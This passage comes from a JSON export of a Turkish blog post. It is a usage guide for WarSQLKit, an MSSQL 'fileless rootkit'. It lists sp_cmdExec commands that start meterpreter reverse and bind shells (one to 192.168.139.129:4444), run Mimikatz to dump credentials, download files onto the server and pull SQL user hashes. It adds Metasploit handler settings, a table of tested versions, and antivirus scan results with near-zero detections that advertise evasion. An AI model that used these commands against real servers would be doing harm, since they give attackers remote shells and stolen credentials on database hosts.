GetSystem parametresi olmad\u0131\u011f\u0131nda, SQL Server\u2019\u0131n \u00e7al\u0131\u015fm\u0131\u015f oldu\u011fu hak ve yetkilerde reverse connection elde edece\u011fiz. \u00d6rnek kodumuzun d\u00fczenlenmi\u015f hali \u015f\u00f6yle olacakt\u0131r. \u201cEXEC sp_cmdExec \u2018sp_meterpreter_reverse_tcp 192.168.139.129 4444 GetSystem\u2019;\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Dip Not: Kali\u2019de \u201cexploit\/multi\/handler\u201da payload\u2019u set ettikten sonra, WarSQLKit\u2019de bulunan t\u00fcm meterpreter payload\u2019lar\u0131 i\u00e7in \u201c<strong>set EXITFUNC none<\/strong>\u201d de\u011ferini girmeniz gerekiyor. Bu de\u011feri set etmezseniz, ba\u011flant\u0131 alamayacaks\u0131n\u0131z.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem\u2019;\u201d Bu komut ile x64 mimaride bir reverse_tcp payload\u2019unu sunucuda \u00e7al\u0131\u015ft\u0131rabilirsiniz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem\u2019;\u201d Bu komut ile RC4 t\u00fcr\u00fcnde bir meterpreter payload\u2019unu SQL Server\u2019da \u00e7al\u0131\u015ft\u0131rabilirsiniz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Dip Not: \u201cwindows\/meterpreter\/reverse_tcp_rc4\u201d payload\u2019u i\u00e7in \u201c<strong>set RC4PASSWORD warsql<\/strong>\u201d parametresini set etmeniz gerekiyor. RC4 i\u00e7in parola varsay\u0131landa \u201cwarsql\u201d olarak tan\u0131mland\u0131. Maalesef \u015fimdilik parolay\u0131 de\u011fi\u015ftiremiyoruz.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018sp_meterpreter_bind_tcp LPORT GetSystem\u2019;\u201d Bu komut ile SQL Server\u2019da meterpreter bind_tcp payload\u2019u \u00e7al\u0131\u015ft\u0131rm\u0131\u015f olursunuz. LPORT olarak SQL Server\u2019da a\u00e7mak istedi\u011finiz portu girmeniz yeterli olacakt\u0131r.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018sp_Mimikatz\u2019;\u201d sp_Mimikatz komutu ile sunucuda mimikatz\u2019in powershell halini \u00e7al\u0131\u015ft\u0131rabilirsiniz. B\u00f6l\u00fcm 11\u2019de olduk\u00e7a detayl\u0131 bir \u015fekilde bu konuyu anlatt\u0131m. sp_Mimikatz komutunu \u00e7al\u0131\u015ft\u0131rd\u0131ktan sonra ortalama 30-60 saniye aras\u0131nda mimikatz loglar\u0131 mimi.log dosyas\u0131na kaydedilecektir. \u00c7al\u0131\u015ft\u0131rd\u0131\u011f\u0131m\u0131z komut a\u015fa\u011f\u0131daki gibi olacakt\u0131r.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/33_sp_mimikatz.png\" alt=\"\" class=\"wp-image-529\"\/><figcaption class=\"wp-element-caption\">33_sp_mimikatz<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Mimikatz \u00e7\u0131kt\u0131m\u0131z kaydedildikten sonra \u201cselect * from WarSQLKitTemp\u201d komutunu \u00e7al\u0131\u015ft\u0131rmam\u0131z gerekiyor. Mimikatz \u00e7\u0131kt\u0131lar\u0131m\u0131z a\u015fa\u011f\u0131daki gibi olacakt\u0131r.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/34_mimikatz_log.png\" alt=\"\" class=\"wp-image-530\"\/><figcaption class=\"wp-element-caption\">34_mimikatz_log<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Mimikatz loglar\u0131m\u0131z\u0131 herhangi bir not uygulamas\u0131na yap\u0131\u015ft\u0131rd\u0131\u011f\u0131m\u0131zda, d\u00fczg\u00fcn bir formatta g\u00f6r\u00fcnt\u00fcleyebilece\u011fiz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018sp_downloadFile URL Location\\file.filetype 300\u2019;\u201d sp_downloadFile komutuna URL, kaydedilecek dizin ve zaman a\u015f\u0131m\u0131 de\u011ferlerini vererek, herhangi bir dosyan\u0131n SQL Server\u2019a indirilmesini sa\u011flayabiliriz. Komutumuzun \u00f6rnek \u00e7\u0131kt\u0131s\u0131 a\u015fa\u011f\u0131daki gibi olacakt\u0131r.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/35_sp_download_file-1024x462.png\" alt=\"\" class=\"wp-image-531\"\/><figcaption class=\"wp-element-caption\">35_sp_download_file<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018sp_getSqlHash\u2019;\u201d sp_getSqlHash komutu ile MS-SQL kullan\u0131c\u0131lar\u0131n\u0131n hash\u2019lerini alabiliriz. Komut \u00e7\u0131kt\u0131m\u0131z a\u015fa\u011f\u0131daki gibi olacakt\u0131r.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/36_get_sql_hash-1024x144.png\" alt=\"\" class=\"wp-image-532\"\/><figcaption class=\"wp-element-caption\">36_get_sql_hash<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018sp_getProduct\u2019;\u201d Bu komut ile SQL Server\u2019\u0131n \u00fczerinde ko\u015ftu\u011fu i\u015fletim sistemini g\u00f6r\u00fcnt\u00fcleyebiliriz.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/37_get_product.png\" alt=\"\" class=\"wp-image-533\"\/><figcaption class=\"wp-element-caption\">37_get_product<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018sp_getDatabases\u2019;\u201d bu komut ile SQL Server\u2019da bulunan veritabanlar\u0131n\u0131n isimlerini \u00e7ekebilirsiniz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dip Not: WarSQLKit.dll Rootkit\u2019imiz sadece a\u015fa\u011f\u0131daki sistemlerde test edilmi\u015f ve ba\u015far\u0131l\u0131 oldu\u011fu g\u00f6r\u00fclm\u00fc\u015ft\u00fcr. Bunun d\u0131\u015f\u0131nda herhangi bir sistemde denemedim. Bu sebeple daha alt sistemlerde deneyip hata al\u0131rsan\u0131z, ekran g\u00f6r\u00fcnt\u00fcs\u00fc ile birlikte hatay\u0131 g\u00f6nderirseniz, d\u00fczenleme yay\u0131nlayabilirim.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">WarSQLi v3\u2019\u00fc, WarSQLKit uyumlu hali ile yeniden derleyerek yak\u0131n zamanda yay\u0131nlayaca\u011f\u0131m.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>\u0130\u015fletim Sistemi<\/strong><\/td><td><strong>SQL Server Versiyonu<\/strong><\/td><td><strong>\u00c7al\u0131\u015fma Durumu<\/strong><\/td><\/tr><tr><td><strong>Windows Server 2016<\/strong><\/td><td>SQL Server 2016<\/td><td>Sorunsuz \u00c7al\u0131\u015f\u0131yor<\/td><\/tr><tr><td><strong>Windows Server 2012 R2<\/strong><\/td><td>SQL Server 2014<\/td><td>Sorunsuz \u00c7al\u0131\u015f\u0131yor<\/td><\/tr><tr><td><strong>Windows Server 2012<\/strong><\/td><td>SQL Server 2012<\/td><td>Sorunsuz \u00c7al\u0131\u015f\u0131yor<\/td><\/tr><tr><td><strong>Windows Server 2008<\/strong><\/td><td>SQL Server 2008<\/td><td>Yetki y\u00fckseltme sorunlar\u0131 var. Bu s\u00fcr\u00fcm i\u00e7in Incognito ile yeni bir versiyon derleyece\u011fim.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">a. WarSQLKitMinimal.dll (MSSQL Fileless Rootkit) Kullan\u0131m Rehberi<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Bu b\u00f6l\u00fcmde WarSQLKitMinimal versiyonundan bahsedece\u011fim. WarSQLKitMinimal sadece \u201cEXEC sp_cmdExec \u2018cmd\u2019;\u201d&nbsp; parametresini \u00e7al\u0131\u015ft\u0131ran versiyondur. Bu versiyonda \u201c<strong>sp_<\/strong>\u201d ile ba\u015flayan herhangi bir komutu i\u015fleme \u00f6zelli\u011fi bulunmuyor. 6 KB b\u00fcy\u00fckl\u00fc\u011f\u00fcndeki bu DLL sayesinde, SQL Server \u00fczerinden i\u015fletim sistemine komut g\u00f6nderebilirsiniz. Bu sebeple sadece i\u015fletim sistemi komutu \u00e7al\u0131\u015ft\u0131rabilmektedir.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>WarSQLKit.dll dosyas\u0131n\u0131n tarama sonu\u00e7lar\u0131 a\u015fa\u011f\u0131daki gibidir.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jotti (0\/18):&nbsp;<a href=\"https:\/\/virusscan.jotti.org\/en-US\/filescanjob\/pfk61amqt4\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/virusscan.jotti.org\/en-US\/filescanjob\/pfk61amqt4<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">No Distribute (0\/34):&nbsp;<a href=\"https:\/\/nodistribute.com\/result\/3yf58I7hMdZAP6DB\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/nodistribute.com\/result\/3yf58I7hMdZAP6DB<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Virus Total (0\/62):&nbsp;<a href=\"https:\/\/www.virustotal.com\/#\/file\/def95c032d1f1e441dfab2d99ce5de61481690eb9d72ffd5ed7c3e2f71b78309\/detection\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.virustotal.com\/#\/file\/def95c032d1f1e441dfab2d99ce5de61481690eb9d72ffd5ed7c3e2f71b78309\/detection<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>WarSQLKit_Compress.dll (Rootkit\u2019in s\u0131k\u0131\u015ft\u0131r\u0131lm\u0131\u015f hali) dosyas\u0131n\u0131n tarama sonu\u00e7lar\u0131 a\u015fa\u011f\u0131daki gibidir.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jotti (0\/18):&nbsp;<a href=\"https:\/\/virusscan.jotti.org\/en-US\/filescanjob\/8s08ge3o0g\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/virusscan.jotti.org\/en-US\/filescanjob\/8s08ge3o0g<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">No Distribute (0\/34):&nbsp;<a href=\"https:\/\/nodistribute.com\/result\/tbv1NjPLKf5ErXMxUOg7\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/nodistribute.com\/result\/tbv1NjPLKf5ErXMxUOg7<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Virus Total (1\/62):&nbsp;<a href=\"https:\/\/www.virustotal.com\/#\/file\/a176fd965e8e7c97dc7e263339c5a6d7c8a42a8c9416a730d3e2528d12c6fdfe\/detection\">https:\/\/www.virustotal.com\/#\/file\/a176fd965e8e7c97dc7e263339c5a6<\/a><a href=\"https:\/\/www.virustotal.com\/#\/file\/a176fd965e8e7c97dc7e263339c5a6d7c8a42a8c9416a730d3e2528d12c6fdfe\/detection\" target=\"_blank\" rel=\"noreferrer noopener\">d<\/a><a href=\"https:\/\/www.virustotal.com\/#\/file\/a176fd965e8e7c97dc7e263339c5a6d7c8a42a8c9416a730d3e2528d12c6fdfe\/detection\">7c8a42a8c9416a730d3e2528d12c6fdfe\/detection<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Kaynaklar:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/technet.microsoft.com\/en-US\/library\/ms187861(v=sql.110).aspx\">https:\/\/technet.microsoft.com\/en-US\/library\/ms187861(v=sql.110).aspx<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/autohotkey.com\/mpress\/mpress_web.htm\">https:\/\/autohotkey.com\/mpress\/mpress_web.htm<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/docs.microsoft.com\/en-us\/dotnet\/framework\/data\/adonet\/sql\/introduction-to-sql-server-clr-integration\">https:\/\/docs.microsoft.com\/en-us\/dotnet\/framework\/data\/adonet\/sql\/introduction-to-sql-server-clr-integration<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/docs.microsoft.com\/en-us\/sql\/relational-databases\/clr-integration\/clr-integration-enabling\">https:\/\/docs.microsoft.com\/en-us\/sql\/relational-databases\/clr-integration\/clr-integration-enabling<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/docs.microsoft.com\/tr-tr\/sql\/t-sql\/statements\/alter-assembly-transact-sql\">https:\/\/docs.microsoft.com\/tr-tr\/sql\/t-sql\/statements\/alter-assembly-transact-sql<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/msdn.microsoft.com\/library\/bbdd51b2-a9b4-4916-ba6f-7957ac6c3f33\">https:\/\/msdn.microsoft.com\/library\/bbdd51b2-a9b4-4916-ba6f-7957ac6c3f33<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/stackoverflow.com\/questions\/2055788\/sql-server-2005-create-assembly-from-stream-with-c-sharp\">https:\/\/stackoverflow.com\/questions\/2055788\/sql-server-2005-create-assembly-from-stream-with-c-sharp<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u8f6c\u81ea:https:\/\/eyupcelik.com.tr\/mssql-fileless-rootkit-wars [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9,10,8],"tags":[],"class_list":["post-296","post","type-post","status-publish","format-standard","hentry","category-mssql","category-windows","category-8"],"_links":{"self":[{"href":"http:\/\/www.yudi001.cn\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/296","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.yudi001.cn\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.yudi001.cn\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.yudi001.cn\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.yudi001.cn\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=296"}],"version-history":[{"count":0,"href":"http:\/\/www.yudi001.cn\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/296\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.yudi001.cn\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=296"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.yudi001.cn\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=296"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.yudi001.cn\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=296"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}